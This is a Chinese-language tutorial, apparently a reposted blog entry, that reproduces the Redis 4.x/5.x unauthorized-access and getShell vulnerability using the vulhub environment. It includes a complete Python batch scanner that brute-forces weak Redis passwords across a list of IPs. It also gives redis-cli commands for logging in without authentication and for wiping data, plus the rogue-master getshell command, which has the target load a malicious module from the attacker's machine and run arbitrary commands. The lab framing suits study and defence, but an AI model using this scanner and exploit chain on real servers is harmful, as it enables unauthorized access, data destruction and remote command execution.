1. 程式人生 > 其它 >Redis 4.x/5.x 未授權訪問漏洞+getShell漏洞復現

Redis 4.x/5.x 未授權訪問漏洞+getShell漏洞復現

Redis 預設情況下,會繫結在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等

Redis未授權訪問漏洞
Redis 預設情況下,會繫結在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空)的情況下,會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。

漏洞的危害
(1)攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料;
(2)攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案;
(3)最嚴重的情況,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器

背景環境
Redis未授權訪問在4.x/5.0.5以前版本下,我們可以使用master/slave模式載入遠端模組,通過動態連結庫的方式執行任意命令。

復現地址
復現地址 vulhub/redis/4-unacc

指令碼檢測
redis 未授權批量檢測工具指令碼,該指令碼支援弱口令檢測

#!/usr/bin/python2
# -*- coding: utf-8 -*-

import socket
import sys

def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[+] IP:{0}存在未授權訪問".format(ip)
elif "Authentication" in result:
with open('pass.txt','r') as p:
passwds = p.readlines()
for passwd in passwds:
passwd = passwd.strip("\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[+] IP:{0} 存在弱口令,密碼:{1}".format(ip,passwd)
else:pass
else:pass
s.close()
except Exception, e:
return u"[+] IP:{0}已過濾".format(ip)
pass

if __name__ == '__main__':
port="6379"
with open('IP.txt','r') as f:
ips = f.readlines()
for i in ips:
ip = i.strip("\n")
result = check(ip,port,timeout=10)
print(result)
ip.txt和pass.txt 分別對應的是目標ip和弱口令 PS:需要在指令碼同一目錄下

redis-cli漏洞利用
kali安裝redis-cli遠端連線工具

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
使用redis-cli命令直接遠端免密登入redis主機

無密碼登入命令
redis-cli -h 目標主機IP

有密碼登入命令
redis-cli -h 目標主機IP -p 埠6379 -a 登入密碼

對redis資料庫操作

dbsize 檢視所有key的數目
flushdb 刪除當前選擇資料庫中的所有key
flushall 刪除所有資料庫中的所有key
save: 將資料同步儲存到磁碟
bgsave: 非同步儲存
lastsave: 上次成功儲存到磁碟的Unix時間戳
info: 查詢server資訊
config: 配置server
slaveof: 改變複製策略設定

getshell
地址:https://github.com/vulhub/redis-rogue-getshell
kali安裝redis-getShell工具

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
利用此工具進行getShell,執行任意命令

python3 redis-master.py -r 目標ip -p 6379 -L 本機ip -P 8888 -f RedisModulesSDK/exp.so -c “要執行的命令”